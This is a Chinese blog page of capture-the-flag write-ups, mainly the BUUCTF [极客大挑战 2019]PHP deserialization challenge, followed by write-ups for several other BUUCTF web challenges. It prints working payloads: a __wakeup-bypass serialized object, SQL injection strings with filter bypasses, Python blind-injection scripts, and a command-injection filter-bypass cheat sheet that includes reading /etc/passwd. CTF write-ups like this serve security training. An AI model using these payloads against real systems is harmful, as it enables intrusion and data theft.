[极客大挑战 2019]PHP1-原创超详细

Posted 中原仙女

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[极客大挑战 2019]PHP1-原创超详细相关的知识,希望对你有一定的参考价值。

[极客大挑战 2019]php1

提示:有一个良好的备份网站的习惯 寻找一个备份文件字典,我在github上找的:

scopion/dic: 渗透字典,框架信息泄露,备份文件泄露,配置文件泄露。字典 (github.com)

我用的是top7777.txt字典,扫的很慢。

扫出来www.zip这个文件,然后下载下来 ,里面只有index.php和class.php两个文件有作用。

反序列化文件:
index.php

重点代码解读:

Select = $_GET['select']
 //这里需要传入序列化的内容
$res = unserialize(@$select); 

1. @符号在php中做错误控制操作符,当表达式附加@符号的时候,将忽略该表达式可能生成的错误信息,如果启用了track_errors功能php_errormsg中。每个错误都会覆盖此变量。

class.php

重点代码解读:

class Name
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password)
        $this->username = $username;
        $this->password = $password;
    

	function __wakeup()
	        $this->username = 'guest';
    
	1. Private 是一种可见性修饰符,private与public不同,private修饰的方法和数据域被限定只能在自己的类中被访问,即使在同一个包中也不能被其它类访问,public则可以运用在类或者类的成员上。
	private:用于声明私有变量	public:用于声明全局变量
	
	2. __construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,也就是说对象创建完成以后第一个被对象自动调用的方法。

	3. __wakeup 当使用unserilize()方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 -->重点代码中如果自动调用了这个方法,username会被赋值成guest。

根据__destruct 析构函数(在这个对象的内容执行完之前 执行函数的内容)的内容可以得知,password=100,username=admin的时候满足条件就可以获得flag

但是当我们序列化传参了以后,还是无法获得flag,因为__wakeup这个函数在反序列化之前调用,改变了username的值,所以目前需要跳过wakeup(),上面讲了,如果对象属性的个数的值大于真实的属性个数的时候会跳过__wakeup的执行,把name后面的数字2改为大于2的数字:

payload

?select=O:4:“Name”:3:s:14:" Name username";s:5:“admin”;s:14:" Name password";i:100;

但是发现这个里面有空格,所以把空格url编码变成%00再传参

Payload

?select=O:4:“Name”:3:s:14:“%00Name%00username”;s:5:“admin”;s:14:“%00Name%00password”;i:100;

获得flag,实验结束

BUUCTF-web

目录

[HCTF 2018]WarmUp

源码发现提示source.php审计PHP。发现有三个地方可以返回Ture但是只有后两个是可以的,所以考虑后两个。(第一个无法访问flag)

白名单,只有source.php和hint.php。

mb_substr()
返回字符串从第二个参数到第三个参数的值即str[0:2]
mb_strpos()
查找到第一个含有第二个参数的位置。
可以构造payloadfile=hint.php?../../../../../ffffllllaaaagggg
第二个绕过

对第一个进行url编码file=hint.php%3F..%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg

[极客大挑战 2019]Havefun

源码有提示cat =dog出flag

[强网杯 2019]随便注

输入一个’直接报错。可以sql注入,但是过滤了select
我们在这里用堆叠查询
查表

1';show columns from `1919810931114514`;#


发现flag列
这里献上大佬的payload

1';SET @sql = CONCAT('sel','ect',' * from `1919810931114514`;');PREPARE dawn from @sql;EXECUTE dawn;#

[SUCTF 2019]EasySQL

可以进行堆注入;
1;show tables;

有flag表;
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能

1;set sql_mode=PIPES_AS_CONCAT;select 1

非预期解:*,1

[ACTF2020 新生赛]Include

考察php伪协议读取flag.php
file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]Secret

这个题根据源码提示访问action.php然后访问secr3t.php。考察php伪协议
直接php伪协议读取flag.php
file=php//filter/read=convert.base64-encode/resource=./flag.php
解码得flag

order by 3
正常
order by 4
报错
然后
'union select 1,2,3#
发现2,3位可以回显

查表
'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

查列
'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

查字段
' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

[极客大挑战 2019]EasySQL

直接万能密码'or 1=1出来flag

[极客大挑战 2019]BabySQL

输入’报错
直接order by 5发现
or和by被换为空,所以用双写绕过
oorrder bbyy 4
报错
oorrder bbyy 3
正常
admin'union select 1,2,3#
union和select都被过滤直接双写绕过

和上一个就差不多了

'ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

'ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql'#
字段
'ununionion selselectect 1,2,group_concat(id,username) frofromm b4bsql#

[极客大挑战 2019]HardSQL

发现union和by都被过滤了。所以联合查询是行不通了。
这里是updatexml()报错注入。我们先了解一下updatexml()报错注入。

UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

updatexml(1,concat(0x7e,(database()),0x7e),1)
因为concat函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

爆表
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

爆段
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

爆字段
admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#

因为字数限制只能爆出来前一段,我们需要用right函数爆出来后面的
admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#

拼接一下就出来了
flagf61eacc4-e798-4b23-9bd1-7fc7a0c6cc39

[极客大挑战 2019]FinalSQL

根据提示是布尔盲注

这是我自己写的代码不过效率不高

import requests
import string
url = "http://0d8c0a68-b3a4-431f-84f6-cc398fbe1ab5.node3.buuoj.cn/search.php?id=1^"
s = 'others~~~'
str = ''
# sql = "database()"
# sql = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
## F1naI1y,Flaaaaag
# sql = "select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')"
## id,fl4gawsl
# sql = "select(group_concat(fl4gawsl))from(Flaaaaag)"

# sql = "select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')"
## id,username,password
sql = "select(group_concat(password))from(F1naI1y)"
payload = "(ascii(substr((),,1))=)^1"
url+=payload
for i in range(1000):
    for j in string.printable:
        r = requests.get(url.format(sql,i+1,ord(j)))
        if s in r.content.decode():
            str += j
            print(str)
            break
    print(i)

这是大佬的代码

url = 'http://0d8c0a68-b3a4-431f-84f6-cc398fbe1ab5.node3.buuoj.cn/search.php?'
flag = ''
for i in range(172,250):
    low = 32
    high = 128
    mid = (low+high)//2
    while(low<high):
        #payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
        payload = "http://0d8c0a68-b3a4-431f-84f6-cc398fbe1ab5.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
        res = requests.get(url=payload)

        if 'ERROR' in res.text:
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    if(mid ==32 or mid ==127):
        break
    flag = flag+chr(mid)
    print(flag)

[GXYCTF2019]Ping Ping Ping

首先打开网页发现

输入/?ip=127.0.0.1返回ping的信息。执行代码发现/?ip=127.0.0.1|ls flag.php 发现空格被ban
经过一番尝试最后看的大佬的wp
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

过滤空格的方法

%20(space)%09(tab)、$IFS$9、 IFS、IFS
使用<或者<>来绕过空格 cat<a.txt
花括号扩展OS_COMMAND,ARGUMENT cat,/etc/passwd
$IFS 空格绕过 cat$IFSa.txt
变量控制 X=$'cat\\x09./flag.php

关键词过滤

使用空变量 使用$*和$@,$x(x 代表 1-9),$x(x>=10)(我尝试小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 ca$21t a.txt
反斜杠 ca\\t a.txt
变量替换 a=ca;b=t;c=a.txt; a a ab $c
引号 c'a't flag.php
编码绕过
Base64 编码绕过:
root@kali:~/# echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo 'Y2F0IGEudHh0Cg==' | base64 -d abc
十六进制编码绕过:
root@kali:~/# echo 'cat a.txt' | xxd -p 63617420612e7478740a
root@kali:~/# echo '0x63617420612e7478740a'| xxd -r -p Abc
通配符 ?*
[]:匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
a,b:对以逗号分割的文件列表进行拓展 cat flb,cg.php

转自https://blog.csdn.net/qq_42812036/article/details/104297163

[HCTF 2018]admin

这个题是伪造Session。
源码提示不是admin。所以这个题就是登陆admin就可以拿到flag。
随便注册一个账号,在修改密码界面可以发现
然后下载源码在config.py发现SECRET_KEY

然后在index.html页面发现只要session[‘name’] == 'admin’即可以得到flag
先对session进行解密

然后对session进行加密

bp抓包改下session就可以得到flag

以上是关于[极客大挑战 2019]PHP1-原创超详细的主要内容,如果未能解决你的问题,请参考以下文章

[极客大挑战 2019]PHP

[极客大挑战 2019]Secret File

[极客大挑战 2019]Http

[极客大挑战 2019]PHP

[HCTF 2018]WarmUp&[极客大挑战 2019]Knife&[极客大挑战 2019]Secret File&[极客大挑战 2019]BuyFlag

极客大挑战2019PHP题目详解